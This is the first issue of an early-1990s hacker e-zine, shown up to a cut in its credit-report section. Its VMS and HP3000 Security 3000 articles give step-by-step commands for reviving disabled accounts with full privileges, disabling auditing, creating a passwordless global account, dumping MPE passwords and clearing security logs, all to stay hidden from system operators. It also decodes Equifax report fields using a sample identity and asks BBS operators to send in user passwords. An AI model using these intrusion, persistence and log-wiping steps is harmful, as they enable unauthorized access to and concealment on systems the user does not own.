*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
               NATIONAL ALLIANCE OF SUPERIOR TECHNOLOGICAL YOUTH
                                 N.A.S.T.Y.
                              JOURNAL NUMBER 1

                               N.A.S.T.Y. IS:

                             THE RENEGADE HACKER
                                  PHANTOM
                                  KLUDGE
                                JAMES BROWN
                              DAMAGED SECTORZ
                                CYBER LINK

               <Mailing Address:bbs.nasty@mudslide.spies.com>

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

                                CONTENTS
------------------------------------------------------------------------------
1. What is N.A.S.T.Y.                      BY: THE RENEGADE HACKER!

2. Obtaining a secure VMS Account          BY: DAMAGED SECTORZ

3. Defeating Security 3000                 BY: MALEFACTOR

4. X3 ITI Parameters                       BY: THE RENEGADE HACKER!

5. Telco Information (PART 1)              BY: THE RENEGADE HACKER!

6. Equifax (CBI) Credit Information        BY: KLUDGE/SCANTRONICS PUB.

7. TRW Commercial Credit Reports           BY: KLUDGE/SCANTRONICS PUB.

8. Hack/Phreak News & Rumors
------------------------------------------------------------------------------

Welcome to the first release of the NASTY Journal!  We hope that new
distribution of this Journal becomes a quarterly event.  We also hope that
this publication will help  to make the Hack/Phreak world into what it used to
be, a forum for open discussion on all topics with full freedom of
information.  In order to accomplish this feat and to put out more Journals we
need people to submit articles.

If you wish to submit articles for the next issue simply call our home base:

                          REALM OF CHAOS
                           516-466-8259

                                OR

                            MAIL US AT:

                    bbs.nasty@mudslide.spies.com

                                or

                    bbs.kludge@mudslide.spies.com



                                          THE RENEGADE HACKER!
                                            (Writer/Editor)
------------------------------------------------------------------------------

                                   -+-
==============================================================================
                          ( 1 ) WHAT IS N.A.S.T.Y.
==============================================================================


                       *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
                       +       WHAT IS N.A.S.T.Y.      +
                       *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

                                  WRITTEN BY:

                             THE RENEGADE HACKER!


    N.A.S.T.Y. - National Alliance of Superior Technological Youth, is a group
which I founded a few months after the SUNDEVIL raids.

    N.A.S.T.Y.'s purpose is to educate the future hackers, to try and do what
most say is impossible, which is to make the hack/phreak world into what it
used to be.

    There was a time when there where hundreds of hack/phreak BBS'es, there
were text files being written on a regular basis.  Now there are less than
10 truly hack/phreak BBS'es, and NO real text files being written.

    There was a time when people did not have to worry about having their
boards taken down, their equipment seized and their rights violated.  This was
a time when the First Amendment was more than mere words and writing a text
file was a fundamental American right!

    We will help anyone who wishes to run a hack/phreak board.  Simply call
N.A.S.T.Y.'s contact board, The Realm of Chaos at 516-466-8259 and mail user
number 13 mail with:

The boards name
The boards number
All new user login passwords

I or another member will call and we will discuss possibilities for assisting
your BBS.

    Remember, a hacker is not merely some geek behind a computer, he is a
person dedicated to a certain way of life!  A hacker is an explorer, one who
seeks truth without worrying of the consequences of his actions.  Since the
dawn of man, the spirit of hacking has existed; from the first man with fire,
to Christopher Columbus, to the first man to walk on the moon.  Those captured
the true spirit of hacking, for if man would have blindly follow the accepted
rules such as not to attempt to go explore the world because it was flat, or
not to attempt to go to the moon, were would we be today?  Hackers have always
valiantly faced opposition, oppression and condemnation; it's nothing new.


==============================================================================
                     ( 2 ) OBTAINING A SECURE VMS ACCOUNT
==============================================================================

                         %-%-%-%-%-%-%-%-%-%-%-%-%
                         -                       -
                         %   Obtaining A Secure  %
                         -       VMS Account     -
                         %                       %
                         -%-%-%-%-%-%-%-%-%-%-%-%-


                                     By:

                              -Damaged Sectorz


Introduction:


    Have you ever gotten into a VAX/VMS (Virtual Memory System) system and you
go roaming around only to have the System Operator turns around and kicking
you off, or change the password to the account that you had?  If so, this
article will help you elude the System Operator while you explore the system
to its fullest.

    First, we are not going to create any new accounts because the System
Operator will more than likely notice new accounts appearing on the system.
One way to keep an account(s) on the system is to scan through the
'SYSUAF.DAT' for disabled accounts and revive them.  The only bad part about
this is that you must have an account that has system privileges in order
to access the UAF file.  If your account happens to have those privileges
then do the following:

"$ Set Def Sys$System <CR>"

    This will take you to the System area of the hard disk.  In this area all
files that the system needs to run itself are stored here.  In this directory
you will need to run the 'Authorize' utility, by typing the following:

"$ run authorize"

You will be prompted with:

"UAF>"

    In this area you can request help on all 'Authorize' commands but this
file will explain most of the fields in a UAF record and how to modify it to
your
needs.

    The first thing you need to do is list all of the users in the
'SYSUAF.DAT' file.  At the UAF prompt type the following:

"UAF> List/Full"

    This will create a file with a full report of all the information
contained within the UAF as follows:

            %UAF-I=LSTMSG1, writing listing file
            %UAF-I-LSTMSG2, Listing file SYSUAF.LIS complete

    Next type "exit" to get out of the 'Authorize' utility, and either
download or otherwise capture all of the accounts out of the file called
'SYSUAF.LIS'.  After you have done this, scan through the list for people who
are 'DISUSERS'.  If you are lazy then use the help command for more
information on the 'search' command.  This is not recommended because, if
accounting is on, chances are more than likely that the System Operator will
notice the 'search' command.


    After you have found several disabled accounts, execute the 'Authorize'
utility again.  To list the disabled user you wish to modify type:

"show <username>"

    This will show the user.

    The following is an example of a UAF field for a user:

Username: JOHN                            Owner:  SYSTEM MANAGER
Account:  SYSTEM                          UIC:    [700,101] ([SYSTEM,DUDE])
CLI:      DCL                             Tables: DCLTABLES
Default:  DUA0:[USERS.DUDE]
LGICMD:   LOGIN
Login Flags:
Primary Days:   Mon Tue Wed Thu Fri
Secondary Days:                    Sat Sun
No Access Restrictions
Expiration:            (none)   Pwdminimun:  6   Login Fails:
Pwdlifetime:        180 00:00   Pwdchange:  29-JAN-1990 09:26
LastLogin:  7-FEB-1990 11:16 (interactive),         (none) (non-interactive)
MaxJobs:        0  Fillm:        40  Bytlm:        32769
Maxacctjobs:    0  Shrfillm:      0  Pbytlm:           0
Maxdetach:      0  BIOlm:        18  JTquota:       1024
Prclm:         10  DIOlm:        18  WSdef:          256
Prio:           4  ASTlm:        24  WSquo:          512
Queprio:        0  TQElm:        20  WSextent:      2048
CPU:              Enqlm:        200  Pgflquo:      20480
Authorized Privileges:
  TMPMBX NETMBX
Default Privileges:
  TMPMBX NETMBX

    Most users on the system only have 'TMPMBX' (temporary mailbox) and
'NETMBX' (network mailbox) privileges.  Do the following to enable your new
user to have its own system privileges:

  UAF>Modify <user> /FLAGS=NoDisUser    <--Changes to enabled user
  UAF>Modify <user> /FLAGS=NOCAPTIVE    <--Makes sure user is not in a shell
  UAF>Modify <user> /FLAGS=NOAUDIT      <--Turns off Auditing features
  UAF>Modify <user> /PRIVILEGES=ALL     <--Grants all privileges
  UAF>Modify <user> /PASSWORD=newpasswd <--changes password

    This should set your disabled account to an account with full privileges.

    I hope this file has been helpful.  Although it does not cover all the
ways of securing access on a VAX/VMS it does show one of the many.  Look
forward to more files on the VMS Operating System.

                                                 Happy Hacking,

                                                        Damaged-


===============================================================================
                       ( 3 )   DEFEATING SECURITY 3000
===============================================================================

[İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ]
[                                                                             ]
[           Identifying, Defeating, and Manipulating Security 3000            ]
[                                                                             ]
[                                Written By:                                  ]
[                                                                             ]
[                                Malefactor                                   ]
[                                                                             ]
[İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ]

[Prelude]

    The MPE series operating system run on the HP3000 is a very powerful and
versatile operating system. When this OS is coupled with VEsoft's Security
3000 the result is a virtually impregnable system.  This rule however only
applies to those who know how to use it, and implement all of its features.
The actual percentage of individuals properly utilizing Security 3000 is 0%.  I
have never seen it implemented fully, and probably never will.

[Identifying Security 3000]

    Security 3000 can be identified by numerous error messages that are
associated with it.  The following is a listing of some of the more common
error messages.  I would also like to state that I will only address those
security features that occur most commonly in the Defeating Security 3000
section because, as stated before, Security 3000 is almost never used to its
full potential.

The following messages are displayed after login:

You are not allowed to logon today
This user is not passworded
You are not allowed to logon to this device
You are not allowed to logon to this terminal
You are not allowed to logon now

[Defeating Security 3000]

    When creating a user on a system running Security 3000 you must do this
quite differently than normal.  You must first create the user then add it into
the user database.  For example:

NEWUSER MALEFACTOR.SYS;HOME=GROUP;PASS=PASSWORD;CAP=CAPABILITY LIST
RUN LOGON.PUB.SECURITY,ADD

{Now we get a menu}

SECURITY/ADD Version 2.1.2    (c) 1981 by VESOFT, Inc.  Type '?' for help

Enter user id: Malefactor  <User Name, self-explanatory>
Enter account: SYS         <Account Name, self-explanatory>
Enter session name: @      <Allows logons w/any Session Name>
Enter user's real name:    <Yeah, right>
Enter permitted terminal numbers:  <Leave Blank>
Enter day of week access restrictions: <Leave Blank>
Enter time of day access restrictions: <Leave Blank>
Enter the menu file name:              <Leave Blank>
Enter Y if the user is to have Security/3000 passwords;
      N if the user is not to have Security/3000 passwords;
      A if the user is to have passwords, but should enter the
        correct passwords himself the first time he logs on.
Your selection (Y/N/A)? N
*** User has been added. **

Enter the menu file name:

    This puts the user into a menu you devise and that he can't escape from.
Whenever a pesky operator kicks me off and deletes my account I like to
force him into this where he is stuck.  The format is menuname.group.account.
This also has other far-reaching applications.  If you wanted to run a BBS on
an HP3000 and naturally you wouldn't want the world to have access to the shell
you could simply pop them into the menu.  It has a lot of applications which I
won't even begin to go into, just experiment and learn.

[Manipulating Security 3000]

    The first thing you want to do when you logon to an HP3000 running Security
3000 is to look at what security features they have up and running.  You do
this by typing:

:list securcon.pub.security

{Special Note:  Not all HP3000s have a List UDC added the command may be
Listtext, QEDIT, QUAD, etc...  In most cases however just do the following as
a last resort:

:File infile=securcon.pub.security
run prose.qlib.robelle

This should work on most systems if they have Robelle software which is as
common as DBEDIT.  However, if this fails another try might be to:

:LISTF @.UTIL.SYS,1

Any file here that is listtext, listfile, etc, should work.  A few systems
put files in here.

Now when you view this file you will get a listing of data which is different
for every HP3000.  I will not even attempt to explain all of the data items,
but I will explain the more common ones.

$LOG LOGON        USER LOGGING IS IMPLEMENTED
$VEPROFILE        SECURITY 3000'S PASSWORDS ARE ENFORCED (MORE LATER)
$MPE OBSOL        MPE PASSWORDS ARE TO BE OBSOLETED AND REPLACED W/SEC3000 PW
$MPE U OBS=DAYS   SET PASSWORD CHANGE EVERY X DAYS
$TERM DEACTIVATE  TERMINAL SHUTDOWN DUE TO VICIOUS HACKERS (X BAD ATTEMPTS)

    A little information on Security 3000 passwords:  they are encrypted and
cannot be seen even by a user with SM privileges.  Also, multiple passwords
can be assigned to a user as opposed to just one.  The Security 3000 passwords
are entered via the logon.pub.security file, but more on that later.  For now
it will suffice for you to know the Security 3000 passwords are difficult to
crack if set up correctly (which is never the case).  The Security 3000
password can force special character selection (i.e. 32h3hj2#, etc.)
Most intelligent system operators who implement this function use different
password request strings, but some don't due to stupidity.  The second point of
concern is the built-in help features.  To access the Security 3000 help just
type:

:run logon.pub.security,help

The help is set up in successive frames as it common on the HP3000.  What this
means to you is that by hitting return after typing a second help in the help
section will get you the next frame of information and so on until there is no
more help available.  An on-line manual which will come out to about 450,000
bytes or so.

[Creating a Global Account]

    This is something that shouldn't really be executed.  On the HP3000 running
security 3000 you can create a GLOBAL ACCOUNT:  an account that can log into
any user and any account without entering a password.

To do this type:

:RUN LOGON.PUB.SECURITY,ADD

Enter user id: @
Enter account: @
Enter session name: maint


This will allow the session maint to logon to any user, any account regardless
of password.  This is how System Operators can bypass the encrypted Security
3000 passwording.  This is an extremely powerful account and should not be
abused.  I would also like to stress that this account does *NOT* bypass
the MPE passwords.  However the MPE passwords can be pulled quite easily by
doing either a:

:LISTACCT

or on MPE XL:

:LISTACCT ;PASS

As for user, passwords the only ones needed can be pulled by:

:LISTUSER MGR.@
:LISTUSER MANAGER.@

Now you have total control of the entire operating system.

[Bypassing Most Features]

    I am not going to totally explain how to bypass all features in detail
since most features can be bypassed via this way.

:RUN LOGON.PUB.SECURITY,CHANGE

    This menu is self-explanatory and would be redundant to explain.  This is
how you can bypass the following features.

Time of Day Access Restrictions
Day of Week Access Restrictions
Terminal Type
Menu Lock
Session Names

    Simply change the entry that restricts you to a blank and remove it or in
the case of session names use the global variable '@'.

[Bypassing Logon to Unpassworded Accounts]

    This is most useful and will be explained in detail how to gain SM privs
on a HP3000 running Security 3000.  The following account is our target:

FIELD.SUPPORT

     Many system administrators know this account carries SM privs, but
don't worry about it because no one can logon to it.  The reason no one
can logon is because it is *NOT* passworded.  And under Security 3000
unpassworded SM privileged accounts can't logon.  So how do I get there?
This is very simple.  There are two possible accounts to hack in order to
bypass this feature:

MANAGER.SUPPORT
or
MGR.SUPPORT

    One of these accounts if present carries AM privilege.  This means either
of those accounts can be used to place a password on the FIELD.SUPPORT account
thus giving you SM privilege.  This is a nice trick since usually the
MGR.SUPPORT account can login and is hardly ever passworded.

[Security 3000 User Logging]

     To get to the Security 3000 user log type the following...

:RUN LOGON.PUB.SECURITY,LISTLOG

    This will list the log with the options you specify.  The options you
specify are directed in pseudo-boolean code.  Using the AND, NOT, OR
operators.  For example:

    To eliminate the Security 3000 log type the following...

:RUN LOGON.PUB.SECURITY,CLEARLOG

    However if you decide to erase the log the System Operator will notice
that their log is missing.  The only time you should ever erase a system log
is as a last resort, in a life-threatening situation.

A final point:  LOGON.PUB.SECURITY,XXXX is a file and XXXX is the entry point
to that file.  There are others which are self-explanatory.  For a complete
listing of user profiles:

:RUN LOGON.PUB.SECURITY,LISTUSER

Additional information is stored in:

LOG20.DATA.SECURITY (Security 3000 Logfile)
LOGOFF.DATA.SECURITY (Logoff configuration file)

and of course

SECURITY.DOC.SECURITY (The Security 3000 Operational Manual)

Malefactor 

=============================================================================
                        ( 4 ) X.3 ITI PARAMETERS
=============================================================================

                          *=*=*=*=*=*=*=*=*=*=*=*
                          +  X.3 ITI Parameters +
                          *  ------------------ *
                          +                     +
                          *     INFORMATION     *
                          +                     +
                          *     SUPPLIED BY:    *
                          +                     +
                          * THE RENEGADE HACKER *
                          + ------------------- +
                          *=*=*=*=*=*=*=*=*=*=*=*

Parameter  Description
---------  -----------

    0      National Options Marker

           This parameter serves to mark the division between International
           (X.3) parameters and Network Dependent (e.g., Telenet) parameters
           in an X.28 or X.29 parameters list.  All parameters preceding the
           marker are X.3, and those following are Network Dependent.  Values
           may be:

           0  CCITT specified value
           33  Telenet permitted value

           Telenet accepts either value.  Whenever possible, the CCITT
           specified value of zero should be used.

    1      Escape to Command Level

           This parameter allows the terminal to initiate an escape from Data
           Transfer Mode, in order to send a command to the PAD. Values are:

            0  Escape not possible
            1  Escape possible (default)

    2      Echo

           This parameter provides for all characters received from the
           terminal to be transmitted back to the terminal, as well as being
           interpreted and forwarded by the PAD to the remote DTE.
           Values are:

           0  No echo
           1  Echo (default)

    3      Data Forwarding

           This parameter allows the PAD to recognize defined character(s)
           received from the terminal as an indication to complete assembly
           of characters to forward a DATA packet to the remote DTE.  Values
           may be OR-ed together (e.g., value of 3=1+2=Alphanumerics plus
           Carriage Return)

           0  No signal
           1  Alphanumerics
           2  Carriage Return (Default)
           4  Escape
           8  Editing Characters
           16  Terminators
           32  Form Effectors
           64  Control Characters
           128  Other Characters (Not valid according to CCITT
                recommendations)

    4      Idle Timer

           Should the interval between successive characters received from
           the terminal exceed the selected Idle Timer delay, the PAD will
           terminate assembly of characters and forward a DATA packet to the
           remote DTE.  Values are:

           0  Timer disabled
           n  multiples of 50 ms. (.05 seconds), where 1<=n<=255.  n=1
           n=1 and n=2 not recommended.  (Default is 80, 4 seconds)

    5      Auxiliary Device Control

           This parameter enables flow control between the PAD and the
           terminal.  The PAD uses the XON and XOFF characters (decimal 17
           and 19) to indicate to the terminal whether or not it is ready to
           accept characters.  Values are:

           0  No use if XON/XOFF (default)
           1  Use XON/XOFF

    6      Suppression of Service Signals

           This parameter provides for the suppression of all messages sent by
           the PAD to the terminal.  Values are:

           0  Signals not transmitted (messages not sent)
           1  Signals transmitted (messages sent) (Default)

    7      Break Options

           This parameter specifies the action taken on receipt of a Break
           signal from the terminal.  The only valid values are:

           0  Do nothing (Default)
           1  Send INTERRUPT Packet to Host
           2  Send RESET Packet to Host
           8  Escape to PAD Command Stat
           21  Flush-on-Break (Discard Output, Send Indication of Break
               and Send INTERRUPT)

    8      Discard Output

           This controls transmission of data to the terminal.  Values are:

           0  Normal data delivery to the terminal (Default)
           1  Discard all output to the terminal

    9      Carriage Return Padding

           This parameter provides for automatic insertion by the PAD of null
           character padding after the transmission of a carriage return to
           the terminal.  Values are:

           0  No padding
           1-31  Number of character delays

   10      Line Folding

           This provides for automatic insertion by the PAD of appropriate
           format effectors to prevent overprinting at the end of a terminal
           print line.  Values are:

           0  No line folding
           n  Character per line before folding, where 1<=n<=255

   11      Binary Speed

           This parameter is set by the PAD when the terminal establishes a
           physical connection to the network.  This allows the remote DTE
           or terminal user to examine the speed, as determined by the PAD.
           Values are:

           0    110     bps
           1    134.5
           2    300
           3    1200
           4    600
           5    75
           6    150
           7    1800
           8    200
           9    100
           10    50
           11    75/1200
           12    2400
           13    4800
           14    9600
           15    19,200
           16    48,000
           17    56,000
           18    64,000

   12      Flow Control of the PAD by the terminal

           This allows for flow control between the terminal and the PAD.
           The terminal indicates whether or not it is ready to accept
           characters from the PAD, via XON and XOFF characters.  Values
           are:

           0  No use of XON/XOFF
           1  Use XON/XOFF

   13      Linefeed Insertion

           This parameter instructs the PAD to routinely insert a linefeed
           (LF) character into the data stream following each appearance of a
           carriage return (CR) character.  Values may be OR-ed together:

           0  No LF Insertion (TP4 Default)
           1  Insert LF after CR on output to the terminal
           2  Insert LF after CR on input from the terminal
           4  Insert LF after CR on echo to the terminal

   14      Linefeed Padding

           This parameter provides for automatic insertion by the PAD of null
           character padding after the transmission of a linefeed to the
           terminal.  Values are:

           0  No padding
           1-15  null characters

   15      Editing

           This parameter enables local editing of text within the PAD before
           transmission through the network.  Note, if editing is enabled,
           transmission on timers is disabled.  Values are:

           0  Editing disabled (Default)
           1  Editing enabled

   16      Character Delete

           Parameter 16 specifies the editing character which causes the PAD
           to erase the previous character entered by the terminal.  Parameter
           16 is only valid if editing is enabled.  Default is 127.

   17      Line Delete

           Parameter 17 specifies the editing character which causes the PAD
           to erase the entire buffer.  If data is forwarded on carriage
           return only, the buffer contains one line at a time.  Parameter 17
           is only valid if editing is enabled.  Default is 24.

   18      Line Display

           Parameter 18 specifies the editing character which causes the PAD
           to echo the entire buffer to the terminal.  Parameter 18 is only
           valid if editing is enabled.  Default is 18.


=============================================================================
                     ( 5 ) TELCO INFORMATION (PART 1)
=============================================================================

                     *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
                     +                                   +
                     *         TELCO INFO PART 1         *
                     +                                   +
                     *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

                              INFORMATION SUPPLIED

                                     BY:

                              THE RENEGADE HACKER!

                         TRANSLATING ORDERS INTO ACTION
                         ------------------------------

    When computers have to talk to one another, correct translation is as
important as it is at the United Nations.  This is because each machine
speaks a different language.  For both people and computer programs,
translation means taking instructions in one language or format and converting
them to another.

    Putting instructions into a particular format is a primary activity in
telephone companies. Changes in telephone services have to be put in a format
that an electronic switch and its particular computer program can understand.
This is done at the Recent Change Memory Administration Center (RCMAC).  In
these centers, translations are performed by personnel who process requests
for changes in telephone services that come from the business offices in a
variety of formats, and convert them into the languages used by the
various types of electronic switches.  As the number and type of switches
continue to grow, too much personnel time is used up.  Thousands of clerks
are involved in hundreds of centers across the United States.

    To solve this problem, the regional companies asked Bell Communications
Research (BELLCORE) for a solution:  a computer program that could take
most of the orders as they come in and translate them automatically into the
form needed by each type of switch.  The result of this request was the MIZAR
system, formerly called the Memory Management System.  As it is implemented by
clients, it will help relieve the buildup of clerical staff and make labor-
intensive operations less costly and more efficient to provide.

    Today's electronic switching systems, the result of specialized
applications of computer technology, depend on software to preform
functions like routing and completing calls.

    The MIZAR system has a template, essentially an order blank, for each
order type for each switch and version of that switch.  This is the basic
dictionary for translation:  a big matrix or array of possible messages in
each of the languages or formats used by the switches.

    When a message is passed from the Facilities Assignment and Control
System (FACS) it goes to the Work Manager, a dispatching system.  The
Work Manager provides both protocols and interfaces for the other systems,
acting as a central communications point for the MIZAR, COSMOS (COmputer
System for Mainframe OperationS) and FACS systems.  It provides priority
queueing and flow control, ensuring that the MIZAR system will not be
flooded with more messages than it can handle at one time.

    The MIZAR system then searches its memory for the appropriate template
for both the switch and the message type. It begins as a clerk would, by
filling in blanks step-by-step, automatically skipping over blanks that aren't
relevant to the particular change being processed.

    For example, one step may ask:  "Is this order two-party?"  In other words,
does it involve a change affecting two phones?  "If no, skip 20 lines and
proceed to question 41."  In this way, a template that may have 60 or 70 lines
will be filled in with only six or seven entries in many cases.  Using this
process of elimination, the MIZAR system creates the proper translation for
the service requested.

    Not all messages are translated by the MIZAR system.  For the more
complex ones, the system calls on COSMOS to generate an appropriate
translated message.  After these messages are generated, they can be called
up on a screen, where a clerk can swiftly check through them, comparing
them with the initial request and ensuring that they are complete and
accurate.  In some cases, COSMOS will be unable to generate all of the
necessary information, but the operators can easily intercept those messages
and correct them before they are sent to the switch.

    Once the orders are complete, they are sent off to a pending file
together with their activation dates.  The MIZAR system continuously scans
this file, searching for messages that need to be activated.  As it finds
them, it sends them out to the appropriate switch.  If the switch accepts
the message and completes the change, the message is then sent to a history
file for safekeeping.  This feature has prevented the loss of essential
change information when electronic switches have malfunctioned.

    If for any reason the switch rejects the order as incorrectly formatted
or otherwise in error, the change is put into a file for a clerk to review
and determine what went wrong.  The MIZAR system automatically carries out
the first two steps that previously were done manually.  It checks to verify
with the switch that the order is incorrect, and it coordinates information on
the rejected change with that on related changes to see if there are any
conflicts.

    All service orders (SERVORDS) are logged into the MIZAR system's
switch log (located in /tmp/swXX.out, where XX is the numeric code assigned
by the MIZAR system to that switch).  That is, if it was entered on the MIZAR
system.

    The MIZAR system has a number of significant benefits.  It works with
COSMOS, which reduces the amount of work that has to be done on the more
complex orders.  It also operates in four different modes:  with or without
COSMOS and with or without FACS so that the operating companies can
choose what best suits their particular memory-administration needs.

    Two other MIZAR features are notable.  All three systems, the Work
Manager, COSMOS and the MIZAR system, run on the same type of computer.
This allows fewer computers to be used for backup.  In addition,
administrative activities, such as editing messages and initializing
switches, are made easier by flexible, user friendly MIZAR programs.

    The MIZAR system was first implemented in Pacific Bell's RCMAC
in San Jose, California, in November 1985.  This system relied solely on COSMOS
for recent change messages.  A second application, the first using FACS,
occurred in Southwestern Bell's central RCMAC in St. Louis, Missouri, in
February 1986.  Today, close to a dozen clients are in the process of deploying
the MIZAR software.

    The MIZAR system will not magically eliminate staff needs in the various
RCMACS.  People will still be needed for reviewing complex orders and in some
cases completing orders that COSMOS can't handle.  But the MIZAR system can
help reduce the overall work load.

    The MIZAR system can help clients provide new services for customers.  In
many cases the customers can have "Instant Service," in which changes
entered in the service-order processor terminals are processed automatically
through FACS, COSMOS and the MIZAR system, implementing the changes at
the switch almost as soon as the order-entry process is completed.
Ultimately, new systems such as MIZAR system may help in making changes to
the phone system as swift and automatic as dialing a phone number.

-----------------------------------------------------------------------------
Information obtained from Bell Communications Research EXCHANGE. (BELLCORE
EXCHANGE)
-----------------------------------------------------------------------------


=============================================================================
                    ( 6 ) EQUIFAX (CBI) CREDIT INFORMATION
=============================================================================

                         *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
                         +                               +
                         *  CREDIT BUREAU INCORPORATED   *
                         +                               +
                         *  EQUIFAX CREDIT INFORMATION   *
                         +                               +
                         *           SERVICES            *
                         +                               +
                         *          WRITTEN BY:          *
                         +                               +
                         *            KLUDGE             *
                         +                               +
                         *   SCANTRONICS PUBLICATIONS    *
                         +                               +
                         *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

    There have been several files written on CBI/Equifax.  Most have
been written with the intent to show someone how to process inquiries on
CBI.  The purpose of this textfile is to allow the reader to understand
the different parts of each type of report.

    There are currently five services available to customers.  They
include:  Arcofile, Arcofile-Plus, Safe-Scan, DTEC and an On-Line Directory.
Equifax Credit's system is available in all 50 states.

                                 THE ARCOFILE
                                 ------------
Extension: P2.

ARCOFILE
* 001 Equifax Credit ATL 5505 P Tree Dunwoody RD STE 600 Atlanta GA
30342 404/123-4567
+-----------------------------------------------------------------------+
|    This line is the Consumer Referral Message                         |
+-----------------------------------------------------------------------+

* AAlred, John, A,,Gloria   Since 08/15/72  FAD 04/10/90    FN-204
  9412, Peachtree, RD, Atlanta, GA, 30302, DAT  RPTD 03/90
  410, Coosen, DR, San Jose, CA, 95119,  CRT  RPTD  01/90
  46, Kennedy, DR, Detroit, MI,  Tape RPTD  03/88
      **** Also Known as-ALRED, JACK ****
  Sex-M,MAR-M,DEPS- 3, AGE-42,SSS-101-11-2131
 +----(Person's Identity)-----------------------------------------------+
 |   SINCE-Date File Established  FAD-Last Activity on file             |
 |   FN: For Equifax Credit Internal Use Only.                          |
 |   Sex, Marital Status, Number of Defendants, Age or Birth, SS#       |
 +----------------------------------------------------------------------+

    ES-ENGR, Lockheed, Atlanta, GA, EMP 06/88 VER 02/90, $3500
    EF-ENGR, Central Power, San Jose, CA,,,, Left 05/87
    E2-ENGR, General Motors, Detroit, MI,,,, Left 05/78
 +----(This is the Employment Information)------------------------------+
 |   ES-(Employment Subject) Position, Firm, Location                   |
 |       Date-Employed, Date Verified, Monthly Salary.                  |
 |   EF-(Employment Former) Position, Firm, Location, Date Left         |
 |   E2-(Employment Second Former)                                      |
 +----------------------------------------------------------------------+

* Sum-05/76-04/90, PR/OI-Yes, FB-NO, accts:9,HC$300-37000, 5-Ones,
1-Two, 1-Three, 1-Five, 1-Other
+-----(Summary of File Items)-------------------------------------------+
|   05/76-Oldest Opening Date of Trade  04/90-Newest Reporting Date     |
|   PR/OI Yes-File Has Public Records                                   |
|   FB-NO-No information obtained from other Credit Agencies            |
|   ACCTS.9-File Contains 9 Trade Lines                                 |
|   HC-High Credit Range ($300-37,000)                                  |
|   5-Ones-Five Trades in File CS 1                                     |
|   1-Two-One Trade in File CS 2                                        |
|   1-Three-One Trade in File CS 3                                      |
|   1-Five-one Trade in File CS 5                                       |
|   1-Other-One Trade in File With No CS                                |
+-----------------------------------------------------------------------+

*****Public Records or Other Information*****
  07/86 BKRPT   162VF473,   4563723, LIAB $25600, ASSET $10500,
        Exempt $100,  INDIVID, Personal, VOL
  04/90 COLL 12/89  401YC364    FOR DR WHITE, $532,02/90 PAYMENT
        BAL-04/90 $200,     DLA: 11/89,     I,32452
 05/88  ST JD, 401VC121,  $769, DEF-SUBJ, 88-30378, VISA, VER 01/89
        Satisfied, 12,88
+----(Public Record or Other Information)-------------------------------+
|   BKRPT(Bankruptcy) Date Filed, Court Number, Case Number, Liabilities|
|        Assets, Exempt Amount, Filer, Type, Intent                     |
|   COLL(Collection) Date Reported, Date Assigned to Collection Agency  |
|        Agency ID Number, Credit Grantor Name & Number, Amount, Date & |
|        Status, Balance-Date of Last Activity WIth Creditor on Acct,   |
|        ECOA Designator, Account Serial Number.                        |
|   STJD(Satisfied Judgement) Date Filed, Court Number, Amount,         |
|        Defendant, Case Number, Plaintiff, Date Verified, Status, Date |
|        Satisfied.                                                     |
+-----------------------------------------------------------------------+

* INQS-Subject Shows 3 Inquiries Since 01/90
    Sears       906DC20     04/10/90    ATL FIN VS  49FS20    03/15/90
    RICH'S      401DC25     03/13/90    GMAC        906FA35   07/25/89
    MORTG CRED  650FM1366   01/14/90    BENSON HON  650AN566  09/23/99
+----(Inquiries)-------------------------------------------------------+
|   INQS-Alert Appears if three or more inquiries within the past 60   |
|        90 Days.  Member Name, Number and Date Inquired.  Two Year    |
|        Inquiry History Shown.                                        |
+----------------------------------------------------------------------+

*FIRM/ID CODE       RPTD    OPND  H/C  TRM BAL  P/D CS  MR  ECOA ACCOUNT NUMBER

ATL FIN VS  *49fs28 04/90   03/87 2828 461 2828 974 R5  34  I
 412179000445585
 30(08)60(01)90(01) 04/90-R4,02/90-R4,01/90-R3
  ACCOUNT CLOSED BY CREDITOR

SEARS       *906DC2 04/90   01/90 900  10  100      R1  59  J    52972348348
 30(01)60(02)90(00) 07/88-R3,06,88-R2,02/84-R3                DLA 04/90
+----(Trade)-----------------------------------------------------------+
|FIRST LINE:                                                           |
|  Firm/ID Code-Name & member Number of Reporting Company              |
|  *-Trade Information From Automated Tape Supplier                    |
|  RPTD-Date Item Was Reported                                         |
|  OPND-Date Account Was Opened With Reporting Company                 |
|  H/C-High Credit (On "R" (Revolving) Accounts indicates Credit Limit |
|  TRM-Monthly Repayment Amount or Number of Months or Years           |
|  BAL-Balance Owed as of Reporting Date                               |
|  P/D-Past Due Amount                                                 |
|  CS-Current Status of Account (R(evolving) O(pen) I(nstallments)     |
|   0-Too New to Rate;Approved But Not Used                            |
|   1-Pays (or Paid) Within 30 Days of Payment Due Date, or Not Over   |
|     One Payment Past Due.                                            |
|   2-Pays (or Paid) in More Than 30 Days From The Payment Due Date    |
|     But Not More Than 60 Days.                                       |
|   3-Pays (or Paid) In More Than 60 Days From The Payment Due Date    |
|     But Not More Than 90 Days, or Three Payments Past Due.           |
|   4-Pays (or Paid) In More Than 90 Days From Payment Due Date, But   |
|     not More Than 120 Days, or Four Payments Past Due.               |
|   5-Pays (or Paid) In More Than 120 Days, or More Than Four          |
|     Payments Past Due.                                               |
|   7-Making Regular Payments Under Debtor's Plan/                     |
|   8-Repossession                                                     |
|   9-Bad Debt                                                         |
|  MR-Months Reviewed                                                  |
|  ECOA-Type Account (I-Individual, J-Joint, S-Shared, C-CO-Maker,     |
|      A-Authorized Use, U-Undersiged, M-Marker, B-On Behalf of        |
